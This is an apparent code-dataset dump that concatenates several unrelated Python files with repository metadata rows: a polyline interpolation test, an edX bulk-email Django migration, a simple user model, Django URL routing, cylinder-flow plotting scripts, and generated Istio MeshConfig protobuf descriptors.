def test_line_interpolation(self):
track = {
"frame": 0,
"label_id": 0,
"group": None,
"attributes": [],
"source": "manual",
"shapes": [
{
"frame": 0,
"points": [1.0, 2.0, 3.0, 4.0, 5.0, 6.0],
"type": "polyline",
"occluded": False,
"outside": False,
"attributes": []
},
{
"frame": 2,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "polyline",
"occluded": False,
"outside": True
},
{
"frame": 4,
"attributes": [],
"points": [3.0, 4.0, 5.0, 6.0],
"type": "polyline",
"occluded": False,
"outside": False
},
]
}
self._check_interpolation(track)
| true | true |
f7263deac95f43b73909d3038f4d4488fa2639d4 | 997 | py | Python | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/bulk_email/migrations/0006_course_mode_targets.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | 3 | 2021-12-15T04:58:18.000Z | 2022-02-06T12:15:37.000Z | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/bulk_email/migrations/0006_course_mode_targets.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | null | null | null | Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/bulk_email/migrations/0006_course_mode_targets.py | osoco/better-ways-of-thinking-about-software | 83e70d23c873509e22362a09a10d3510e10f6992 | [
"MIT"
] | 1 | 2019-01-02T14:38:50.000Z | 2019-01-02T14:38:50.000Z | from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('course_modes', '0007_coursemode_bulk_sku'),
('bulk_email', '0005_move_target_data'),
]
operations = [
migrations.CreateModel(
name='CourseModeTarget',
fields=[
('target_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='bulk_email.Target', on_delete=models.CASCADE)),
('track', models.ForeignKey(to='course_modes.CourseMode', on_delete=models.CASCADE)),
],
bases=('bulk_email.target',),
),
migrations.AlterField(
model_name='target',
name='target_type',
field=models.CharField(max_length=64, choices=[('myself', 'Myself'), ('staff', 'Staff and instructors'), ('learners', 'All students'), ('cohort', 'Specific cohort'), ('track', 'Specific course mode')]),
),
]
| 38.346154 | 214 | 0.609829 | from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('course_modes', '0007_coursemode_bulk_sku'),
('bulk_email', '0005_move_target_data'),
]
operations = [
migrations.CreateModel(
name='CourseModeTarget',
fields=[
('target_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='bulk_email.Target', on_delete=models.CASCADE)),
('track', models.ForeignKey(to='course_modes.CourseMode', on_delete=models.CASCADE)),
],
bases=('bulk_email.target',),
),
migrations.AlterField(
model_name='target',
name='target_type',
field=models.CharField(max_length=64, choices=[('myself', 'Myself'), ('staff', 'Staff and instructors'), ('learners', 'All students'), ('cohort', 'Specific cohort'), ('track', 'Specific course mode')]),
),
]
| true | true |
f7263e61252a6c08d784082742fd67b173531d8d | 195 | py | Python | examples/PythonToDo/models/domain_objects/UserModel.py | PqES/ArchPython | 142b02f2c7fff9a3fb375a338af2de2e688f4004 | [
"MIT"
] | 6 | 2020-07-13T23:41:49.000Z | 2022-02-01T21:02:46.000Z | examples/PythonToDo/models/domain_objects/UserModel.py | LimaEduardo/ArchPython | 5a81d0c79d7933f06c26175b1958d604b4c248df | [
"MIT"
] | null | null | null | examples/PythonToDo/models/domain_objects/UserModel.py | LimaEduardo/ArchPython | 5a81d0c79d7933f06c26175b1958d604b4c248df | [
"MIT"
] | 1 | 2020-09-07T13:04:25.000Z | 2020-09-07T13:04:25.000Z | class UserModel:
def __init__(self, name = None, login = None, password = None):
self.id = None
self.name = name
self.login = login
self.password = password
| 21.666667 | 67 | 0.584615 | class UserModel:
def __init__(self, name = None, login = None, password = None):
self.id = None
self.name = name
self.login = login
self.password = password
| true | true |
f7263f6c62c388fe49d7af215f78c0b7c0576dd0 | 191 | py | Python | chatbot_tutorial/urls.py | abdulmuizzf/django-bot-server-tutorial | 3f9d69bb848ed70e664503aac2c968416b7a891d | [
"MIT"
] | null | null | null | chatbot_tutorial/urls.py | abdulmuizzf/django-bot-server-tutorial | 3f9d69bb848ed70e664503aac2c968416b7a891d | [
"MIT"
] | null | null | null | chatbot_tutorial/urls.py | abdulmuizzf/django-bot-server-tutorial | 3f9d69bb848ed70e664503aac2c968416b7a891d | [
"MIT"
] | null | null | null | from django.conf.urls import include
from django.urls import path
from django.contrib import admin
urlpatterns = [
path('', include('chat.urls')),
path('admin/', admin.site.urls),
]
| 21.222222 | 36 | 0.706806 | from django.conf.urls import include
from django.urls import path
from django.contrib import admin
urlpatterns = [
path('', include('chat.urls')),
path('admin/', admin.site.urls),
]
| true | true |
f7263fda03fe7c55336dc033a79f684a23583ecb | 3,647 | py | Python | circular_cylinder/figures/plot.py | J-Massey/postproc | 4552b0ad79072f5d217cf62632c08617ea3d2d82 | [
"MIT"
] | null | null | null | circular_cylinder/figures/plot.py | J-Massey/postproc | 4552b0ad79072f5d217cf62632c08617ea3d2d82 | [
"MIT"
] | null | null | null | circular_cylinder/figures/plot.py | J-Massey/postproc | 4552b0ad79072f5d217cf62632c08617ea3d2d82 | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
import seaborn as sns
import numpy as np
from itertools import product
import os
from mpl_toolkits.axes_grid1 import make_axes_locatable
from matplotlib import ticker, cm
from mpl_toolkits.axes_grid1 import make_axes_locatable
from matplotlib.ticker import FormatStrFormatter
from matplotlib.colors import LinearSegmentedColormap
from matplotlib.colors import BoundaryNorm
colors = sns.color_palette("husl", 4)
plt.style.use(['science', 'grid'])
def plot_loss(epochs, cost, fn='cost.pdf'):
fig, ax = plt.subplots(figsize=(5, 3))
ax.tick_params(bottom="on", top="on", right="on", which='both', direction='in', length=2)
ax.set_xlabel(r"Epochs")
ax.set_ylabel(r'$L_2$ loss')
ax.plot_fill(np.linspace(0, epochs, len(cost)), cost, label=r'$L_{2}$')
ax.legend()
plt.savefig(fn)
plt.show()
def plot_model(cd_hat, fos, Y, fn='model.pdf'):
fig, ax = plt.subplots(figsize=(5, 3))
ax.tick_params(bottom="on", top="on", right="on", which='both', direction='in', length=2)
ax.set_xlabel(r"$t/D$")
ax.set_ylabel(r'$C_{D_f}$')
ax.plot_fill(fos['t'], Y, label=r'Ground truth')
ax.plot_fill(fos['t'], cd_hat, label=r'$\hat{C_{D_f}}$')
ax.legend()
plt.savefig(fn)
plt.show()
def plot_BL_corruption():
fig, ax = plt.subplots(figsize=(5, 5))
ax.set_xlabel(r'$x_n$')
ax.set_ylabel(r'$y_n$', rotation=0)
# Define grid
D = 32
eps = 2
r = D / 2
x, y = np.arange(-D, D + 1, 1), np.arange(-D, D + 1, 1)
X, Y = np.meshgrid(x, y)
# Body coordinates
theta = np.linspace(0, 2 * np.pi, int(D * np.pi))
Bx, By = r * np.cos(theta), r * np.sin(theta)
ax.plot_fill(Bx, By, color='k', linewidth=2., label=r'Hard body boundary')
Bepx, Bepy = (r + eps) * np.cos(theta), (r + eps) * np.sin(theta)
ax.plot_fill(Bepx, Bepy, c='blue', linewidth=0.5, label=r'$D+\epsilon$')
# Distance function from eps away from body edge
dis = np.sqrt(X ** 2 + Y ** 2)
# Cmap definition
bs = iter((np.array([14, 15.8, 18.7, 22]) - 4.5) / D)
colours = [(0, 'midnightblue'),
(next(bs), 'midnightblue'),
(next(bs), 'red'),
(next(bs), 'green'),
(next(bs), 'royalblue'),
(1, 'royalblue')]
cmap = LinearSegmentedColormap.from_list('corruption', colours, 256)
cs = ax.imshow(dis, zorder=0, aspect="auto", extent=(-D, D, -D, D),
cmap=cmap, interpolation='bicubic')
make_axes_locatable(ax)
divider = make_axes_locatable(ax)
ax_cb = divider.new_horizontal(size="5%", pad=0.05)
fig.add_axes(ax_cb)
cbar = plt.colorbar(cs, cax=ax_cb, ticks=[8, 16.4, 21, 32], extend='max')
# ax_cb.yaxis.tick_right()
cbar.ax.set_yticklabels([r'$\vec{b}$', r'$\vec{b}*\vec{f}$', r'$d|_{n \approx 0}$', r'$\vec{f}$'])
cbar.ax.tick_params(which='both', size=0)
ax.legend()
plt.savefig('../figures/bl_corruption.pdf', dpi=300)
plt.close()
def plot_pressure():
data_root = '/home/masseyjmo/Workspace/Lotus/projects/cylinder_dns/validation'
p = np.loadtxt(os.path.join(data_root, 'fort.10'), unpack=True)
p = np.mean(p, axis=1)
fig, ax = plt.subplots(figsize=(4, 4))
ax.tick_params(bottom="on", top="on", right="on", which='both', direction='in', length=2)
ax.set_xlabel(r"$\theta$")
ax.set_ylabel(r'$C_{p}$')
ax.scatter(np.linspace(0, np.pi / 2, len(p)), p * 2, label=r'Pressure distribution', color='k', marker='+')
ax.set_ylim(-2, 1)
ax.legend()
plt.savefig('pressure_theta.pdf')
plt.show()
if __name__ == "__main__":
plot_BL_corruption()
| 34.084112 | 111 | 0.619139 | import matplotlib.pyplot as plt
import seaborn as sns
import numpy as np
from itertools import product
import os
from mpl_toolkits.axes_grid1 import make_axes_locatable
from matplotlib import ticker, cm
from mpl_toolkits.axes_grid1 import make_axes_locatable
from matplotlib.ticker import FormatStrFormatter
from matplotlib.colors import LinearSegmentedColormap
from matplotlib.colors import BoundaryNorm
colors = sns.color_palette("husl", 4)
plt.style.use(['science', 'grid'])
def plot_loss(epochs, cost, fn='cost.pdf'):
fig, ax = plt.subplots(figsize=(5, 3))
ax.tick_params(bottom="on", top="on", right="on", which='both', direction='in', length=2)
ax.set_xlabel(r"Epochs")
ax.set_ylabel(r'$L_2$ loss')
ax.plot_fill(np.linspace(0, epochs, len(cost)), cost, label=r'$L_{2}$')
ax.legend()
plt.savefig(fn)
plt.show()
def plot_model(cd_hat, fos, Y, fn='model.pdf'):
fig, ax = plt.subplots(figsize=(5, 3))
ax.tick_params(bottom="on", top="on", right="on", which='both', direction='in', length=2)
ax.set_xlabel(r"$t/D$")
ax.set_ylabel(r'$C_{D_f}$')
ax.plot_fill(fos['t'], Y, label=r'Ground truth')
ax.plot_fill(fos['t'], cd_hat, label=r'$\hat{C_{D_f}}$')
ax.legend()
plt.savefig(fn)
plt.show()
def plot_BL_corruption():
fig, ax = plt.subplots(figsize=(5, 5))
ax.set_xlabel(r'$x_n$')
ax.set_ylabel(r'$y_n$', rotation=0)
D = 32
eps = 2
r = D / 2
x, y = np.arange(-D, D + 1, 1), np.arange(-D, D + 1, 1)
X, Y = np.meshgrid(x, y)
theta = np.linspace(0, 2 * np.pi, int(D * np.pi))
Bx, By = r * np.cos(theta), r * np.sin(theta)
ax.plot_fill(Bx, By, color='k', linewidth=2., label=r'Hard body boundary')
Bepx, Bepy = (r + eps) * np.cos(theta), (r + eps) * np.sin(theta)
ax.plot_fill(Bepx, Bepy, c='blue', linewidth=0.5, label=r'$D+\epsilon$')
dis = np.sqrt(X ** 2 + Y ** 2)
bs = iter((np.array([14, 15.8, 18.7, 22]) - 4.5) / D)
colours = [(0, 'midnightblue'),
(next(bs), 'midnightblue'),
(next(bs), 'red'),
(next(bs), 'green'),
(next(bs), 'royalblue'),
(1, 'royalblue')]
cmap = LinearSegmentedColormap.from_list('corruption', colours, 256)
cs = ax.imshow(dis, zorder=0, aspect="auto", extent=(-D, D, -D, D),
cmap=cmap, interpolation='bicubic')
make_axes_locatable(ax)
divider = make_axes_locatable(ax)
ax_cb = divider.new_horizontal(size="5%", pad=0.05)
fig.add_axes(ax_cb)
cbar = plt.colorbar(cs, cax=ax_cb, ticks=[8, 16.4, 21, 32], extend='max')
cbar.ax.set_yticklabels([r'$\vec{b}$', r'$\vec{b}*\vec{f}$', r'$d|_{n \approx 0}$', r'$\vec{f}$'])
cbar.ax.tick_params(which='both', size=0)
ax.legend()
plt.savefig('../figures/bl_corruption.pdf', dpi=300)
plt.close()
def plot_pressure():
data_root = '/home/masseyjmo/Workspace/Lotus/projects/cylinder_dns/validation'
p = np.loadtxt(os.path.join(data_root, 'fort.10'), unpack=True)
p = np.mean(p, axis=1)
fig, ax = plt.subplots(figsize=(4, 4))
ax.tick_params(bottom="on", top="on", right="on", which='both', direction='in', length=2)
ax.set_xlabel(r"$\theta$")
ax.set_ylabel(r'$C_{p}$')
ax.scatter(np.linspace(0, np.pi / 2, len(p)), p * 2, label=r'Pressure distribution', color='k', marker='+')
ax.set_ylim(-2, 1)
ax.legend()
plt.savefig('pressure_theta.pdf')
plt.show()
if __name__ == "__main__":
plot_BL_corruption()
| true | true |
f7263ff6a3d742c589e550267ff561f470351035 | 36,853 | py | Python | python/istio_api/mesh/v1alpha1/config_pb2.py | selmanj/api | 6166b45d34e2ef8915225b2f849855b5d28fc4f9 | [
"Apache-2.0"
] | null | null | null | python/istio_api/mesh/v1alpha1/config_pb2.py | selmanj/api | 6166b45d34e2ef8915225b2f849855b5d28fc4f9 | [
"Apache-2.0"
] | null | null | null | python/istio_api/mesh/v1alpha1/config_pb2.py | selmanj/api | 6166b45d34e2ef8915225b2f849855b5d28fc4f9 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: mesh/v1alpha1/config.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf.internal import enum_type_wrapper
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.protobuf import duration_pb2 as google_dot_protobuf_dot_duration__pb2
from google.protobuf import wrappers_pb2 as google_dot_protobuf_dot_wrappers__pb2
from mesh.v1alpha1 import proxy_pb2 as mesh_dot_v1alpha1_dot_proxy__pb2
from networking.v1alpha3 import destination_rule_pb2 as networking_dot_v1alpha3_dot_destination__rule__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='mesh/v1alpha1/config.proto',
package='istio.mesh.v1alpha1',
syntax='proto3',
serialized_options=_b('Z\032istio.io/api/mesh/v1alpha1'),
serialized_pb=_b('\n\x1amesh/v1alpha1/config.proto\x12\x13istio.mesh.v1alpha1\x1a\x1egoogle/protobuf/duration.proto\x1a\x1egoogle/protobuf/wrappers.proto\x1a\x19mesh/v1alpha1/proxy.proto\x1a*networking/v1alpha3/destination_rule.proto\"\x8f\x13\n\nMeshConfig\x12\x1a\n\x12mixer_check_server\x18\x01 \x01(\t\x12\x1b\n\x13mixer_report_server\x18\x02 \x01(\t\x12\x1d\n\x15\x64isable_policy_checks\x18\x03 \x01(\x08\x12\"\n\x1a\x64isable_mixer_http_reports\x18\x30 \x01(\x08\x12\x1e\n\x16policy_check_fail_open\x18\x19 \x01(\x08\x12-\n%sidecar_to_telemetry_session_affinity\x18\x1e \x01(\x08\x12\x19\n\x11proxy_listen_port\x18\x04 \x01(\x05\x12\x17\n\x0fproxy_http_port\x18\x05 \x01(\x05\x12\x32\n\x0f\x63onnect_timeout\x18\x06 \x01(\x0b\x32\x19.google.protobuf.Duration\x12=\n\x1aprotocol_detection_timeout\x18* \x01(\x0b\x32\x19.google.protobuf.Duration\x12\x61\n\rtcp_keepalive\x18\x1c \x01(\x0b\x32J.istio.networking.v1alpha3.ConnectionPoolSettings.TCPSettings.TcpKeepalive\x12\x15\n\ringress_class\x18\x07 \x01(\t\x12\x17\n\x0fingress_service\x18\x08 \x01(\t\x12V\n\x17ingress_controller_mode\x18\t \x01(\x0e\x32\x35.istio.mesh.v1alpha1.MeshConfig.IngressControllerMode\x12\x43\n\x0b\x61uth_policy\x18\n \x01(\x0e\x32*.istio.mesh.v1alpha1.MeshConfig.AuthPolicyB\x02\x18\x01\x12\x38\n\x11rds_refresh_delay\x18\x0b \x01(\x0b\x32\x19.google.protobuf.DurationB\x02\x18\x01\x12\x16\n\x0e\x65nable_tracing\x18\x0c \x01(\x08\x12\x17\n\x0f\x61\x63\x63\x65ss_log_file\x18\r \x01(\t\x12\x19\n\x11\x61\x63\x63\x65ss_log_format\x18\x18 \x01(\t\x12N\n\x13\x61\x63\x63\x65ss_log_encoding\x18\x1b \x01(\x0e\x32\x31.istio.mesh.v1alpha1.MeshConfig.AccessLogEncoding\x12\'\n\x1f\x65nable_envoy_access_log_service\x18( \x01(\x08\x12\x38\n\x0e\x64\x65\x66\x61ult_config\x18\x0e \x01(\x0b\x32 .istio.mesh.v1alpha1.ProxyConfig\x12\x19\n\rmixer_address\x18\x10 \x01(\tB\x02\x18\x01\x12V\n\x17outbound_traffic_policy\x18\x11 \x01(\x0b\x32\x35.istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy\x12\'\n\x1f\x65nable_client_side_policy_check\x18\x13 \x01(\x08\x12\x18\n\x0csds_uds_path\x18\x14 \x01(\tB\x02\x18\x01\x12\x38\n\x11sds_refresh_delay\x18\x15 \x01(\x0b\x32\x19.google.protobuf.DurationB\x02\x18\x01\x12\x39\n\x0e\x63onfig_sources\x18\x16 \x03(\x0b\x32!.istio.mesh.v1alpha1.ConfigSource\x12\x34\n\x10\x65nable_auto_mtls\x18+ \x01(\x0b\x32\x1a.google.protobuf.BoolValue\x12\x1e\n\x16\x65nable_sds_token_mount\x18\x17 \x01(\x08\x12\x1a\n\x12sds_use_k8s_sa_jwt\x18\x1d \x01(\x08\x12\x14\n\x0ctrust_domain\x18\x1a \x01(\t\x12\x1c\n\x14trust_domain_aliases\x18. \x03(\t\x12!\n\x19\x64\x65\x66\x61ult_service_export_to\x18\x1f \x03(\t\x12)\n!default_virtual_service_export_to\x18 \x03(\t\x12*\n\"default_destination_rule_export_to\x18! \x03(\t\x12\x16\n\x0eroot_namespace\x18\" \x01(\t\x12S\n\x13locality_lb_setting\x18# \x01(\x0b\x32\x36.istio.networking.v1alpha3.LocalityLoadBalancerSetting\x12\x33\n\x10\x64ns_refresh_rate\x18$ \x01(\x0b\x32\x19.google.protobuf.Duration\x12\x1c\n\x14\x64isable_report_batch\x18% \x01(\x08\x12 \n\x18report_batch_max_entries\x18& \x01(\r\x12\x38\n\x15report_batch_max_time\x18\' \x01(\x0b\x32\x19.google.protobuf.Duration\x12J\n\x11h2_upgrade_policy\x18) \x01(\x0e\x32/.istio.mesh.v1alpha1.MeshConfig.H2UpgradePolicy\x12!\n\x19inbound_cluster_stat_name\x18, \x01(\t\x12\"\n\x1aoutbound_cluster_stat_name\x18- \x01(\t\x12\x36\n\x0c\x63\x65rtificates\x18/ \x03(\x0b\x32 .istio.mesh.v1alpha1.Certificate\x1a\xa7\x01\n\x15OutboundTrafficPolicy\x12H\n\x04mode\x18\x01 \x01(\x0e\x32:.istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy.Mode\"D\n\x04Mode\x12\x11\n\rREGISTRY_ONLY\x10\x00\x12\r\n\tALLOW_ANY\x10\x01\"\x04\x08\x02\x10\x02*\x14VIRTUAL_SERVICE_ONLY\"9\n\x15IngressControllerMode\x12\x07\n\x03OFF\x10\x00\x12\x0b\n\x07\x44\x45\x46\x41ULT\x10\x01\x12\n\n\x06STRICT\x10\x02\"&\n\nAuthPolicy\x12\x08\n\x04NONE\x10\x00\x12\x0e\n\nMUTUAL_TLS\x10\x01\"\'\n\x11\x41\x63\x63\x65ssLogEncoding\x12\x08\n\x04TEXT\x10\x00\x12\x08\n\x04JSON\x10\x01\"2\n\x0fH2UpgradePolicy\x12\x12\n\x0e\x44O_NOT_UPGRADE\x10\x00\x12\x0b\n\x07UPGRADE\x10\x01J\x04\x08\x0f\x10\x10J\x04\x08\x12\x10\x13\"\x9a\x01\n\x0c\x43onfigSource\x12\x0f\n\x07\x61\x64\x64ress\x18\x01 \x01(\t\x12<\n\x0ctls_settings\x18\x02 \x01(\x0b\x32&.istio.networking.v1alpha3.TLSSettings\x12;\n\x14subscribed_resources\x18\x03 \x03(\x0e\x32\x1d.istio.mesh.v1alpha1.Resource\"5\n\x0b\x43\x65rtificate\x12\x13\n\x0bsecret_name\x18\x01 \x01(\t\x12\x11\n\tdns_names\x18\x02 \x03(\t* \n\x08Resource\x12\x14\n\x10SERVICE_REGISTRY\x10\x00\x42\x1cZ\x1aistio.io/api/mesh/v1alpha1b\x06proto3')
,
dependencies=[google_dot_protobuf_dot_duration__pb2.DESCRIPTOR,google_dot_protobuf_dot_wrappers__pb2.DESCRIPTOR,mesh_dot_v1alpha1_dot_proxy__pb2.DESCRIPTOR,networking_dot_v1alpha3_dot_destination__rule__pb2.DESCRIPTOR,])
_RESOURCE = _descriptor.EnumDescriptor(
name='Resource',
full_name='istio.mesh.v1alpha1.Resource',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='SERVICE_REGISTRY', index=0, number=0,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2848,
serialized_end=2880,
)
_sym_db.RegisterEnumDescriptor(_RESOURCE)
Resource = enum_type_wrapper.EnumTypeWrapper(_RESOURCE)
SERVICE_REGISTRY = 0
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE = _descriptor.EnumDescriptor(
name='Mode',
full_name='istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy.Mode',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='REGISTRY_ONLY', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='ALLOW_ANY', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2362,
serialized_end=2430,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE)
_MESHCONFIG_INGRESSCONTROLLERMODE = _descriptor.EnumDescriptor(
name='IngressControllerMode',
full_name='istio.mesh.v1alpha1.MeshConfig.IngressControllerMode',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='OFF', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='DEFAULT', index=1, number=1,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='STRICT', index=2, number=2,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2432,
serialized_end=2489,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_INGRESSCONTROLLERMODE)
_MESHCONFIG_AUTHPOLICY = _descriptor.EnumDescriptor(
name='AuthPolicy',
full_name='istio.mesh.v1alpha1.MeshConfig.AuthPolicy',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='NONE', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='MUTUAL_TLS', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2491,
serialized_end=2529,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_AUTHPOLICY)
_MESHCONFIG_ACCESSLOGENCODING = _descriptor.EnumDescriptor(
name='AccessLogEncoding',
full_name='istio.mesh.v1alpha1.MeshConfig.AccessLogEncoding',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='TEXT', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='JSON', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2531,
serialized_end=2570,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_ACCESSLOGENCODING)
_MESHCONFIG_H2UPGRADEPOLICY = _descriptor.EnumDescriptor(
name='H2UpgradePolicy',
full_name='istio.mesh.v1alpha1.MeshConfig.H2UpgradePolicy',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='DO_NOT_UPGRADE', index=0, number=0,
serialized_options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='UPGRADE', index=1, number=1,
serialized_options=None,
type=None),
],
containing_type=None,
serialized_options=None,
serialized_start=2572,
serialized_end=2622,
)
_sym_db.RegisterEnumDescriptor(_MESHCONFIG_H2UPGRADEPOLICY)
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY = _descriptor.Descriptor(
name='OutboundTrafficPolicy',
full_name='istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='mode', full_name='istio.mesh.v1alpha1.MeshConfig.OutboundTrafficPolicy.mode', index=0,
number=1, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
_MESHCONFIG_OUTBOUNDTRAFFICPOLICY_MODE,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2263,
serialized_end=2430,
)
_MESHCONFIG = _descriptor.Descriptor(
name='MeshConfig',
full_name='istio.mesh.v1alpha1.MeshConfig',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='mixer_check_server', full_name='istio.mesh.v1alpha1.MeshConfig.mixer_check_server', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='mixer_report_server', full_name='istio.mesh.v1alpha1.MeshConfig.mixer_report_server', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='disable_policy_checks', full_name='istio.mesh.v1alpha1.MeshConfig.disable_policy_checks', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='disable_mixer_http_reports', full_name='istio.mesh.v1alpha1.MeshConfig.disable_mixer_http_reports', index=3,
number=48, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='policy_check_fail_open', full_name='istio.mesh.v1alpha1.MeshConfig.policy_check_fail_open', index=4,
number=25, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='sidecar_to_telemetry_session_affinity', full_name='istio.mesh.v1alpha1.MeshConfig.sidecar_to_telemetry_session_affinity', index=5,
number=30, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='proxy_listen_port', full_name='istio.mesh.v1alpha1.MeshConfig.proxy_listen_port', index=6,
number=4, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='proxy_http_port', full_name='istio.mesh.v1alpha1.MeshConfig.proxy_http_port', index=7,
number=5, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='connect_timeout', full_name='istio.mesh.v1alpha1.MeshConfig.connect_timeout', index=8,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='protocol_detection_timeout', full_name='istio.mesh.v1alpha1.MeshConfig.protocol_detection_timeout', index=9,
number=42, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='tcp_keepalive', full_name='istio.mesh.v1alpha1.MeshConfig.tcp_keepalive', index=10,
number=28, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ingress_class', full_name='istio.mesh.v1alpha1.MeshConfig.ingress_class', index=11,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ingress_service', full_name='istio.mesh.v1alpha1.MeshConfig.ingress_service', index=12,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ingress_controller_mode', full_name='istio.mesh.v1alpha1.MeshConfig.ingress_controller_mode', index=13,
number=9, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
